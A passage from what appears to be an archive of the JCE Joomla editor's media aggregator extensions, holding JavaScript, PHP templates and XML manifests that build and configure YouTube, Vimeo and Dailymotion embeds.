$1}),"youtube"+c+"/"+("iframe"==type?"embed":"v")+"/"+d}),id&&args.loop&&!args.playlist&&(args.playlist=id),src=$("#youtube_privacy").is(":checked")?src.replace(/youtube\./,"youtube-nocookie."):src.replace(/youtube-nocookie\./,"youtube."),"iframe"==type?$.extend(data,{allowfullscreen:!0,frameborder:0}):$.extend(!0,data,{param:{allowfullscreen:!0,wmode:"opaque"}}),$(".uk-repeatable","#youtube_params").each(function(){var key=$('input[name^="youtube_params_name"]',this).val(),value=$('input[name^="youtube_params_value"]',this).val();""!==key&&""!==value&&(args[key]=value)});var q=$.param(args);return q&&(src=src+(/\?/.test(src)?"&":"?")+q),data.src=src,data},parseURL:function(url){var o={};return url=/^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(url),$.each(["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"],function(i,v){var s=url[i];s&&(o[v]=s)}),o},setValues:function(data){var self=this,id="",src=data.src||data.data||"",query={};if(!src)return data;var u=this.parseURL(src);if(u.query&&(query=Wf.String.query(u.query)),src="https://"+u.host+u.path,src.indexOf("youtube-nocookie")!==-1&&(data.youtube_privacy=1),query.v)id=query.v,delete query.v;else{var s=/\/?(embed|v)?\/([\w-]+)\b/.exec(u.path);s&&"array"===$.type(s)&&(id=s.pop())}return $.each(query,function(key,val){try{val=decodeURIComponent(val)}catch(e){}return"autoplay"==key&&(val=parseInt(val,10)),"playlist"==key&&val==id||("wmode"==key||(self.props[key]===val||(data["youtube_"+key]=val,void delete data[key])))}),src=src.replace(/youtu(\.)?be([^\/]+)?\/(.+)/,function(a,b,c,d){var args="youtube";if(b&&(args+=".com"),c&&(args+=c),args+="/embed",args+="/"+id,u.anchor){var s=u.anchor;s=s.replace(/(\?|&)(.+)/,""),args+="#"+s}return args}).replace(/\/\/youtube/i,"//www.youtube"),$.each(data,function(key,val){/^iframe_(allow|frameborder|allowfullscreen)/.test(key)&&delete data[key]}),data.src=src,data},getAttributes:function(src){var args={},data=this.setValues({src:src})||{};return $.each(data,function(k,v){"src"!==k&&(args["youtube_"+k]=v)}),args=$.extend(args,{src:data.src||src,width:this.params.width,height:this.params.height})},setAttributes:function(){},onSelectFile:function(){},onInsert:function(){}});com_jce/editor/extensions/aggregator/youtube/tmpl/default.php000060400000014527152453734450020600 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<div class="uk-form-row uk-grid uk-grid-small">
  <div class="uk-width-4-10">
    <input type="checkbox" id="youtube_controls" checked />
    <label for="youtube_controls" title="<?php echo Text::_('WF_AGGREGATOR_YOUTUBE_CONTROLS_DESC') ?>" class="tooltip">
      <?php echo Text::_('WF_AGGREGATOR_YOUTUBE_CONTROLS') ?>
    </label>
  </div>
  <div class="uk-width-6-10">
    <input type="checkbox" id="youtube_loop" />
    <label for="youtube_loop" title="<?php echo Text::_('WF_AGGREGATOR_YOUTUBE_LOOP_DESC') ?>" class="tooltip">
      <?php echo Text::_('WF_AGGREGATOR_YOUTUBE_LOOP') ?>
    </label>
  </div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
  <div class="uk-width-4-10">
    <input type="checkbox" id="youtube_autoplay" />
    <label for="youtube_autoplay" title="<?php echo Text::_('WF_AGGREGATOR_YOUTUBE_AUTOPLAY_DESC') ?>" class="tooltip">
      <?php echo Text::_('WF_AGGREGATOR_YOUTUBE_AUTOPLAY') ?>
    </label>
  </div>
  <div class="uk-width-6-10">
    <input type="checkbox" id="youtube_mute" />
    <label for="youtube_mute" title="<?php echo Text::_('WF_AGGREGATOR_YOUTUBE_MUTE_DESC') ?>" class="tooltip">
      <?php echo Text::_('WF_AGGREGATOR_YOUTUBE_MUTE') ?>
    </label>
  </div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
  <div class="uk-width-4-10">
    <input type="checkbox" id="youtube_modestbranding" checked />
    <label for="youtube_modestbranding" title="<?php echo Text::_('WF_AGGREGATOR_YOUTUBE_MODESTBRANDING_DESC') ?>" class="tooltip">
      <?php echo Text::_('WF_AGGREGATOR_YOUTUBE_MODESTBRANDING') ?>
    </label>
  </div>

  <div class="uk-width-6-10">
    <input type="checkbox" id="youtube_privacy" />
    <label for="youtube_privacy" title="<?php echo Text::_('WF_AGGREGATOR_YOUTUBE_PRIVACY_DESC') ?>" class="tooltip">
      <?php echo Text::_('WF_AGGREGATOR_YOUTUBE_PRIVACY') ?>
    </label>
  </div>

</div>

<div class="uk-grid uk-grid-small">
  <label for="youtube_rel" class="uk-form-label uk-width-1-5 tooltip" title="<?php echo Text::_('WF_AGGREGATOR_YOUTUBE_RELATED_DESC') ?>">
    <?php echo Text::_('WF_AGGREGATOR_YOUTUBE_RELATED') ?>
  </label>

  <div class="uk-form-controls uk-width-4-5">

    <select id="youtube_rel">
      <option value="1">
        <?php echo Text::_('WF_AGGREGATOR_YOUTUBE_RELATED_ALL') ?>
      </option>
      <option value="0">
        <?php echo Text::_('WF_AGGREGATOR_YOUTUBE_RELATED_CHANNEL') ?>
      </option>
    </select>

  </div>
</div>

<div class="uk-grid uk-grid-small">
  <label for="youtube_start" title="<?php echo Text::_('WF_AGGREGATOR_YOUTUBE_START_DESC') ?>" class="tooltip uk-form-label uk-width-2-10">
    <?php echo Text::_('WF_AGGREGATOR_YOUTUBE_START') ?>
  </label>

  <div class="uk-form-controls uk-width-2-10">
    <input type="number" id="youtube_start" />
  </div>
  <div class="uk-width-6-10">
    <label for="youtube_end" class="uk-form-label uk-width-2-10" title="<?php echo Text::_('WF_AGGREGATOR_YOUTUBE_END_DESC') ?>" class="tooltip">
      <?php echo Text::_('WF_AGGREGATOR_YOUTUBE_END') ?>
    </label>
    <div class="uk-form-controls uk-width-3-10">
      <input type="number" id="youtube_end" />
    </div>
  </div>
</div>

<div class="uk-grid uk-grid-small">
  <label for="youtube_playlist" class="uk-form-label uk-width-1-5" title="<?php echo Text::_('WF_AGGREGATOR_YOUTUBE_PLAYLIST_DESC') ?>" class="tooltip">
    <?php echo Text::_('WF_AGGREGATOR_YOUTUBE_PLAYLIST') ?>
  </label>
  <div class="uk-form-controls uk-width-4-5">
    <input type="text" id="youtube_playlist" />
  </div>
</div>

<div class="uk-form-row uk-grid uk-grid-small">
  <label for="youtube_params" class="uk-form-label uk-width-1-5 hastip" title="<?php echo Text::_('WF_AGGREGATOR_YOUTUBE_PARAMS_DESC'); ?>"><?php echo Text::_('WF_AGGREGATOR_YOUTUBE_PARAMS'); ?></label>
  <div class="uk-width-4-5" id="youtube_params">
    <div class="uk-form-row uk-repeatable">
      <div class="uk-form-controls uk-grid uk-grid-small uk-width-9-10">
        <label class="uk-form-label uk-width-1-10"><?php echo Text::_('WF_LABEL_NAME'); ?></label>
        <div class="uk-form-controls uk-width-4-10">
          <input type="text" name="youtube_params_name[]" />
        </div>
        <label class="uk-form-label uk-width-1-10"><?php echo Text::_('WF_LABEL_VALUE'); ?></label>
        <div class="uk-form-controls uk-width-4-10">
          <input type="text" name="youtube_params_value[]" />
        </div>
      </div>
      <div class="uk-form-controls uk-margin-small-left">
        <button type="button" class="uk-button uk-button-link uk-repeatable-create"><i class="uk-icon-plus"></i></button>
        <button type="button" class="uk-button uk-button-link uk-repeatable-delete"><i class="uk-icon-trash"></i></button>
      </div>
    </div>
  </div>
</div>

<div class="uk-form-row uk-grid uk-grid-small">
  <label for="youtube_attributes" class="uk-form-label uk-width-1-5"><?php echo Text::_('WF_LABEL_ATTRIBUTES'); ?></label>
  <div class="uk-width-4-5" id="youtube_attributes">
    <div class="uk-form-row uk-repeatable">
      <div class="uk-form-controls uk-grid uk-grid-small uk-width-9-10">
        <label class="uk-form-label uk-width-1-10"><?php echo Text::_('WF_LABEL_NAME'); ?></label>
        <div class="uk-form-controls uk-width-4-10">
          <input type="text" name="youtube_attributes_name[]" />
        </div>
        <label class="uk-form-label uk-width-1-10"><?php echo Text::_('WF_LABEL_VALUE'); ?></label>
        <div class="uk-form-controls uk-width-4-10">
          <input type="text" name="youtube_attributes_value[]" />
        </div>
      </div>
      <div class="uk-form-controls uk-margin-small-left">
        <button class="uk-button uk-button-link uk-repeatable-create" aria-label="<?php echo Text::_('WF_LABEL_ADD'); ?>" title="<?php echo Text::_('WF_LABEL_ADD'); ?>"><i class="uk-icon-plus"></i></button>
        <button class="uk-button uk-button-link uk-repeatable-delete" aria-label="<?php echo Text::_('WF_LABEL_REMOVE'); ?>" title="<?php echo Text::_('WF_LABEL_REMOVE'); ?>"><i class="uk-icon-trash"></i></button>
      </div>
    </div>
  </div>
</div>com_jce/editor/extensions/aggregator/youtube/tmpl/index.html000060400000000054152453734450020426 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/aggregator/vimeo.php000060400000005720152453734450015616 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFAggregatorExtension_Vimeo extends WFAggregatorExtension
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct(array(
            'format' => 'video',
        ));
    }

    public function display()
    {
        $document = WFDocument::getInstance();
        $document->addScript('vimeo', 'extensions/aggregator/vimeo/js');
    }

    public function isEnabled()
    {
        $plugin = WFEditorPlugin::getInstance();

        return $plugin->checkAccess('aggregator.vimeo.enable', 1);
    }

    public function getParams()
    {
        $plugin = WFEditorPlugin::getInstance();

        $defaults = array(
            'width' => $plugin->getParam('aggregator.vimeo.width', 400),
            'height' => $plugin->getParam('aggregator.vimeo.height', 225),

            'color' => (string) $plugin->getParam('aggregator.vimeo.color', ''),
            'loop' => (int) $plugin->getParam('aggregator.vimeo.loop', 0),
            'autoplay' => (int) $plugin->getParam('aggregator.vimeo.autoplay', 0),
            'intro' => (int) $plugin->getParam('aggregator.vimeo.intro', 0),
            'title' => (int) $plugin->getParam('aggregator.vimeo.title', 0),
            'byline' => (int) $plugin->getParam('aggregator.vimeo.byline', 0),
            'portrait' => (int) $plugin->getParam('aggregator.vimeo.portrait', 0),
            'fullscreen' => (int) $plugin->getParam('aggregator.vimeo.fullscreen', 1),
            'dnt' => (int) $plugin->getParam('aggregator.vimeo.dnt', 0),
        );

        $attributes = $plugin->getParam('aggregator.vimeo.attributes', '');

        if ($attributes) {            
            $defaults['attributes'] = $this->getCustomDefaultAttributes($attributes);
        }

        return $defaults;
    }

    public function getEmbedData($data, $url)
    {
        $params = $this->getParams();

        $default = array(
            'width' => 560,
            'height' => 315,
            'controls' => 1,
            'loop' => 0,
            'autoplay' => 0,
            'rel' => 1,
            'modestbranding' => 0,
            'privacy' => 0,
        );

        foreach ($params as $name => $value) {
            if (isset($default[$name]) && $value === $default[$name]) {
                continue;
            }

            if ($name == 'width' || $name == 'height' || $name == 'attributes') {
                $data[$name] = $value;
                continue;
            }

            $query[$name] = $value;
        }

        if (!empty($options)) {
            $data['query'] = http_build_query($options);
        }

        return $data;
    }
}
com_jce/editor/extensions/aggregator/vimeo.xml000060400000006342152453734450015630 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_AGGREGATOR_VIMEO_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Copyright (C) 2006 - 2026 Ryan Demmer. All rights reserved</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_AGGREGATOR_VIMEO_DESC</description>
	<files>
		<filename>vimeo.php</filename>
		<folder>vimeo</folder>
	</files>
	<fields name="vimeo">
		<fieldset name="aggregator.vimeo">
			<field name="enable" type="yesno" default="1" label="WF_LABEL_EXTENSION_ENABLE" description="WF_LABEL_EXTENSION_ENABLE_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field name="width" type="number" default="400" class="input-small" label="WF_LABEL_WIDTH" description="WF_AGGREGATOR_VIMEO_WIDTH_DESC" />
			<field name="height" type="number" default="225" class="input-small" label="WF_LABEL_HEIGHT" description="WF_AGGREGATOR_VIMEO_HEIGHT_DESC" />

			<field name="color" type="color" size="10" default="" label="WF_AGGREGATOR_VIMEO_COLOR" description="WF_AGGREGATOR_VIMEO_COLOR_DESC" />

			<field name="intro" type="yesno" default="0" label="WF_AGGREGATOR_VIMEO_INTRO" description="WF_AGGREGATOR_VIMEO_INTRO_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="portrait" type="yesno" default="0" label="WF_AGGREGATOR_VIMEO_PORTRAIT" description="WF_AGGREGATOR_VIMEO_PORTRAIT_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="title" type="yesno" default="0" label="WF_AGGREGATOR_VIMEO_INTROTITLE" description="WF_AGGREGATOR_VIMEO_INTROTITLE_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="byline" type="yesno" default="0" label="WF_AGGREGATOR_VIMEO_BYLINE" description="WF_AGGREGATOR_VIMEO_BYLINE_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="autoplay" type="yesno" default="0" label="WF_AGGREGATOR_VIMEO_AUTOPLAY" description="WF_AGGREGATOR_VIMEO_AUTOPLAY_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="loop" type="yesno" default="0" label="WF_AGGREGATOR_VIMEO_LOOP" description="WF_AGGREGATOR_VIMEO_LOOP_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="fullscreen" type="yesno" default="1" label="WF_AGGREGATOR_VIMEO_FULLSCREEN" description="WF_AGGREGATOR_VIMEO_FULLSCREEN_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="dnt" type="yesno" default="0" label="WF_AGGREGATOR_VIMEO_DNT" description="WF_AGGREGATOR_VIMEO_DNT_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="attributes" type="keyvalue" default="" label="WF_PARAM_CUSTOM_ATTRIBUTES" description="WF_PARAM_CUSTOM_ATTRIBUTES_DESC" boolean="true" />
		</fieldset>
	</fields>
	<plugins></plugins>
</extension>com_jce/editor/extensions/aggregator/audio/index.html000060400000000054152453734450017057 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/aggregator/audio/js/index.html000060400000000054152453734450017473 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/aggregator/audio/js/audio.js000060400000001016152453734450017134 0ustar00/* jce - 2.9.20 | 2022-02-10 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2022 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
WFAggregator.add("audio",{params:{},props:{autoplay:0,loop:0,controls:1,mute:0},setup:function(){$.each(this.params,function(k,v){$("#audio_"+k).val(v).filter(":checkbox, :radio").prop("checked",!!v)})},getTitle:function(){return this.title||this.name},getType:function(){return"audio"},isSupported:function(v){return!1}});com_jce/editor/extensions/aggregator/dailymotion.xml000060400000002526152453734450017041 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_AGGREGATOR_DAILYMOTION_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Copyright (C) 2006 - 2026 Ryan Demmer. All rights reserved</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_AGGREGATOR_DAILYMOTION_DESC</description>
	<files>
		<filename>dailymotion</filename>
		<folder>dailymotion</folder>
	</files>
	<fields name="dailymotion">
		<fieldset name="aggregator.dailymotion">
			<field name="enable" type="yesno" default="1" label="WF_LABEL_EXTENSION_ENABLE" description="WF_LABEL_EXTENSION_ENABLE_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field name="width" type="number" default="400" class="input-small" label="WF_LABEL_WIDTH" />
			<field name="height" type="number" default="225" class="input-small" label="WF_LABEL_HEIGHT" />

			<field name="attributes" type="keyvalue" default="" label="WF_PARAM_CUSTOM_ATTRIBUTES" description="WF_PARAM_CUSTOM_ATTRIBUTES_DESC" boolean="true" />
		</fieldset>
	</fields>
	<plugins></plugins>
</extension>com_jce/editor/extensions/aggregator/dailymotion.php000060400000004125152453734450017025 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFAggregatorExtension_Dailymotion extends WFAggregatorExtension
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct(array(
            'format' => 'video',
        ));
    }

    public function display()
    {
        $document = WFDocument::getInstance();
        $document->addScript('dailymotion', 'extensions/aggregator/dailymotion/js');
        $document->addStyleSheet('dailymotion', 'extensions/aggregator/dailymotion/css');
    }

    public function isEnabled()
    {
        $plugin = WFEditorPlugin::getInstance();

        return $plugin->checkAccess('aggregator.dailymotion.enable', 1);
    }

    public function getParams()
    {
        $plugin = WFEditorPlugin::getInstance();

        $defaults = array(
            'width' => $plugin->getParam('aggregator.dailymotion.width', 480),
            'height' => $plugin->getParam('aggregator.dailymotion.height', 270),
        );

        $attributes = $plugin->getParam('aggregator.dailymotion.attributes', '');

        if ($attributes) {            
            $defaults['attributes'] = $this->getCustomDefaultAttributes($attributes);
        }

        return $defaults;
    }

    public function getEmbedData($data, $url)
    {
        $params = $this->getParams();

        $default = array(
            'width' => 480,
            'height' => 270,
        );

        foreach ($params as $name => $value) {
            if (isset($default[$name]) && $value === $default[$name]) {
                continue;
            }

            if ($name == 'width' || $name == 'height' || $name == 'attributes') {
                $data[$name] = $value;
                continue;
            }
        }

        return $data;
    }
}
com_jce/editor/extensions/aggregator/vimeo/index.html000060400000000054152453734450017075 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/aggregator/vimeo/js/index.html000060400000000054152453734450017511 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/aggregator/vimeo/js/vimeo.js000060400000005363152453734450017201 0ustar00/* jce - 2.9.20 | 2022-02-10 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2022 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
WFAggregator.add("vimeo",{params:{width:480,height:480,embed:!0},props:{color:"",autoplay:0,loop:0,fullscreen:1,dnt:0},setup:function(){$("#vimeo_embed").toggle(this.params.embed),$.each(this.params,function(k,v){$("#vimeo_"+k).val(v).filter(":checkbox, :radio").prop("checked",!!v)})},getTitle:function(){return this.title||this.name},getType:function(){return"iframe"},isSupported:function(v){return"object"==typeof v&&(v=v.src||v.data||""),!!/vimeo(.+)?\/(.+)/.test(v)&&(!/\/external\//.test(v)&&"vimeo")},getValues:function(src){var self=this,data={},args={},id="";if(src.indexOf("=")!==-1&&$.extend(args,Wf.String.query(src)),$("input, select","#vimeo_options").not("#vimeo_embed").each(function(){var k=$(this).attr("id"),v=$(this).val();k=k.substr(k.indexOf("_")+1),$(this).is(":checkbox")&&(v=$(this).is(":checked")?1:0),self.props[k]!=v&&""!==v&&("color"===k&&"#"===v.charAt(0)&&(v=v.substr(1)),args[k]=v)}),args.clip_id)id=args.clip_id;else{var id="",hash="",matches=/vimeo\.com\/([0-9]+)\/?([a-z0-9]+)?/.exec(src);if(matches&&tinymce.is(matches,"array")){var id=matches[1];matches.length>2&&(hash=matches[2])}id+=hash?"?h="+hash:""}src="https://player.vimeo.com/video/"+id;var query=$.param(args);return query&&(src=src+(/\?/.test(src)?"&":"?")+query),data.src=src,$.extend(data,{frameborder:0}),0!==args.fullscreen&&$.extend(data,{allowfullscreen:!0}),data},setValues:function(data){var self=this,src=data.src||data.data||"",id="";if(!src)return data;var query=Wf.String.query(src);if(src=src.replace(/&amp;/g,"&"),/moogaloop.swf/.test(src))data.vimeo_embed=!0,id=query.clip_id,delete query.clip_id,delete data.clip_id,$.each(["portrait","title","byline"],function(i,s){delete data["show_"+s]});else{var id="",hash="",matches=/vimeo\.com\/(?:\w+\/){0,3}((?:[0-9]+\b)(?:\/[a-z0-9]+)?)/.exec(src);if(matches&&"array"==$.type(matches)){var params=matches[1].split("/"),id=params[0];2==params.length&&(hash=params[1]),id+=hash?"/"+hash:""}}return $.each(query,function(key,val){return self.props[key]===val||("color"==key&&"#"!==val.charAt(0)&&(val="#"+val),"autoplay"==key&&(val=parseInt(val,10)),void(data["vimeo_"+key]=val))}),src="https://vimeo.com/"+id,$.each(data,function(key,val){/^iframe_(allow|frameborder|allowfullscreen)/.test(key)&&delete data[key]}),data.src=src,data},getAttributes:function(src){var args={},data=this.setValues({src:src})||{};return $.each(data,function(k,v){"src"!=k&&(args["vimeo_"+k]=v)}),$.extend(args,{src:data.src||src,width:this.params.width,height:this.params.height}),args},setAttributes:function(){},onSelectFile:function(){},onInsert:function(){}});com_jce/editor/extensions/aggregator/vimeo/tmpl/default.php000060400000011567152453734450020224 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<div class="uk-form-row uk-flex">
       <label for="vimeo_color" title="<?php echo Text::_('WF_AGGREGATOR_VIMEO_COLOR_DESC') ?>"
              class="tooltip uk-form-label uk-width-1-5"><?php echo Text::_('WF_AGGREGATOR_VIMEO_COLOR') ?></label>

       <div class="uk-form-controls uk-width-1-5">
              <input type="text" id="vimeo_color" class="color" />
       </div>
</div>

<div class="uk-form-row uk-flex">

       <label for="vimeo_intro" title="<?php echo Text::_('WF_AGGREGATOR_VIMEO_INTRO_DESC') ?>"
              class="tooltip uk-form-label uk-width-1-5"><?php echo Text::_('WF_AGGREGATOR_VIMEO_INTRO') ?></label>

       <div class="uk-form-controls uk-form-row uk-flex uk-width-4-5">
              <label for="vimeo_portrait" class="uk-checkbox-label tooltip" title="<?php echo Text::_('WF_AGGREGATOR_VIMEO_PORTRAIT_DESC') ?>">
                     <input type="checkbox" id="vimeo_portrait" /><?php echo Text::_('WF_AGGREGATOR_VIMEO_PORTRAIT'); ?>
              </label>

              <label for="vimeo_title" class="uk-checkbox-label tooltip" title="<?php echo Text::_('WF_AGGREGATOR_VIMEO_INTROTITLE_DESC') ?>">
                     <input type="checkbox" id="vimeo_title" /><?php echo Text::_('WF_AGGREGATOR_VIMEO_INTROTITLE'); ?>
              </label>

              <label for="vimeo_byline" class="uk-checkbox-label tooltip" title="<?php echo Text::_('WF_AGGREGATOR_VIMEO_BYLINE_DESC') ?>">
                     <input type="checkbox" id="vimeo_byline" /><?php echo Text::_('WF_AGGREGATOR_VIMEO_BYLINE'); ?>
              </label>
       </div>
</div>

<div class="uk-form-row uk-flex">
       <label for="vimeo_special"
              class="uk-form-label uk-width-1-5"><?php echo Text::_('WF_AGGREGATOR_VIMEO_SPECIAL') ?></label>
       <div class="uk-form-controls uk-form-row uk-flex uk-width-4-5">

              <label for="vimeo_autoplay" class="uk-checkbox-label tooltip" title="<?php echo Text::_('WF_AGGREGATOR_VIMEO_AUTOPLAY_DESC') ?>">
                     <input type="checkbox" id="vimeo_autoplay" /><?php echo Text::_('WF_AGGREGATOR_VIMEO_AUTOPLAY'); ?>
              </label>

              <label for="vimeo_loop" class="uk-checkbox-label tooltip" title="<?php echo Text::_('WF_AGGREGATOR_VIMEO_LOOP_DESC') ?>">
                     <input type="checkbox" id="vimeo_loop" /><?php echo Text::_('WF_AGGREGATOR_VIMEO_LOOP'); ?>
              </label>

              <label for="vimeo_fullscreen" class="uk-checkbox-label tooltip" title="<?php echo Text::_('WF_AGGREGATOR_VIMEO_FULLSCREEN_DESC') ?>">
                     <input type="checkbox" id="vimeo_fullscreen" /><?php echo Text::_('WF_AGGREGATOR_VIMEO_FULLSCREEN'); ?>
              </label>

              <label for="vimeo_dnt" class="uk-checkbox-label tooltip" title="<?php echo Text::_('WF_AGGREGATOR_VIMEO_DNT_DESC') ?>">
                     <input type="checkbox" id="vimeo_dnt" /><?php echo Text::_('WF_AGGREGATOR_VIMEO_DNT'); ?>
              </label>
       </div>
</div>

<div class="uk-form-row uk-flex">
       <label for="vimeo_attributes" class="uk-form-label uk-width-1-5"><?php echo Text::_('WF_LABEL_ATTRIBUTES'); ?></label>
       <div class="uk-width-4-5" id="vimeo_attributes">
              <div class="uk-form-row uk-repeatable">
                     <div class="uk-form-controls uk-grid uk-grid-small uk-width-9-10">
                            <label class="uk-form-label uk-width-1-10"><?php echo Text::_('WF_LABEL_NAME'); ?></label>
                            <div class="uk-form-controls uk-width-4-10">
                                   <input type="text" name="vimeo_attributes_name[]" />
                            </div>
                            <label class="uk-form-label uk-width-1-10"><?php echo Text::_('WF_LABEL_VALUE'); ?></label>
                            <div class="uk-form-controls uk-width-4-10">
                                   <input type="text" name="vimeo_attributes_value[]" />
                            </div>
                     </div>
                     <div class="uk-form-controls uk-width-1-10 uk-margin-small-left">
                            <button class="uk-button uk-button-link uk-repeatable-create" aria-label="<?php echo Text::_('WF_LABEL_ADD'); ?>" title="<?php echo Text::_('WF_LABEL_ADD'); ?>"><i class="uk-icon-plus"></i></button>
                            <button class="uk-button uk-button-link uk-repeatable-delete" aria-label="<?php echo Text::_('WF_LABEL_REMOVE'); ?>" title="<?php echo Text::_('WF_LABEL_REMOVE'); ?>"><i class="uk-icon-trash"></i></button>
                     </div>
              </div>
       </div>
</div>com_jce/editor/extensions/aggregator/vimeo/tmpl/index.html000060400000000054152453734450020051 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/aggregator/dailymotion/tmpl/default.php000060400000006755152453734450021440 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<div class="uk-form-row uk-grid uk-grid-small">
    <label for="dailymotion_autoPlay" title="<?php echo Text::_('WF_AGGREGATOR_DAILYMOTION_AUTOPLAY_DESC') ?>"
        class="tooltip uk-form-label uk-width-1-5"><?php echo Text::_('WF_AGGREGATOR_DAILYMOTION_AUTOPLAY') ?></label>
    <div class="uk-width-4-5">
        <div class="uk-form-controls uk-width-1-5">
            <input type="checkbox" id="dailymotion_autoPlay" />
        </div>

        <label for="dailymotion_start" title="<?php echo Text::_('WF_AGGREGATOR_DAILYMOTION_START_DESC') ?>"
            class="tooltip uk-form-label uk-width-1-5"><?php echo Text::_('WF_AGGREGATOR_DAILYMOTION_START') ?></label>
        <div class="uk-form-controls uk-width-1-5">
            <input id="dailymotion_start" type="number" value="" />
        </div>
    </div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-5"
        title="<?php echo Text::_('WF_AGGREGATOR_DAILYMOTION_SIZE'); ?>"><?php echo Text::_('WF_AGGREGATOR_DAILYMOTION_SIZE'); ?></label>

    <div class="uk-form-controls uk-width-4-5">
        <select id="dailymotion_player_size">
            <option value="320"><?php echo Text::_('WF_AGGREGATOR_DAILYMOTION_SIZE_SMALL'); ?></option>
            <option value="480"><?php echo Text::_('WF_AGGREGATOR_DAILYMOTION_SIZE_MEDIUM'); ?></option>
            <option value="560"><?php echo Text::_('WF_AGGREGATOR_DAILYMOTION_SIZE_LARGE'); ?></option>
            <option value=""><?php echo Text::_('WF_AGGREGATOR_DAILYMOTION_SIZE_CUSTOM'); ?></option>
        </select>

        <input type="number" id="dailymotion_player_size_custom" class="uk-hidden uk-margin-small-left" />
    </div>
</div>

<div class="uk-form-row uk-grid uk-grid-small">
    <label for="dailymotion_attributes" class="uk-form-label uk-width-1-5"><?php echo Text::_('WF_LABEL_ATTRIBUTES'); ?></label>
    <div class="uk-width-4-5" id="dailymotion_attributes">
        <div class="uk-form-row uk-repeatable">
            <div class="uk-form-controls uk-grid uk-grid-small uk-width-9-10">
                <label class="uk-form-label uk-width-1-10"><?php echo Text::_('WF_LABEL_NAME'); ?></label>
                <div class="uk-form-controls uk-width-4-10">
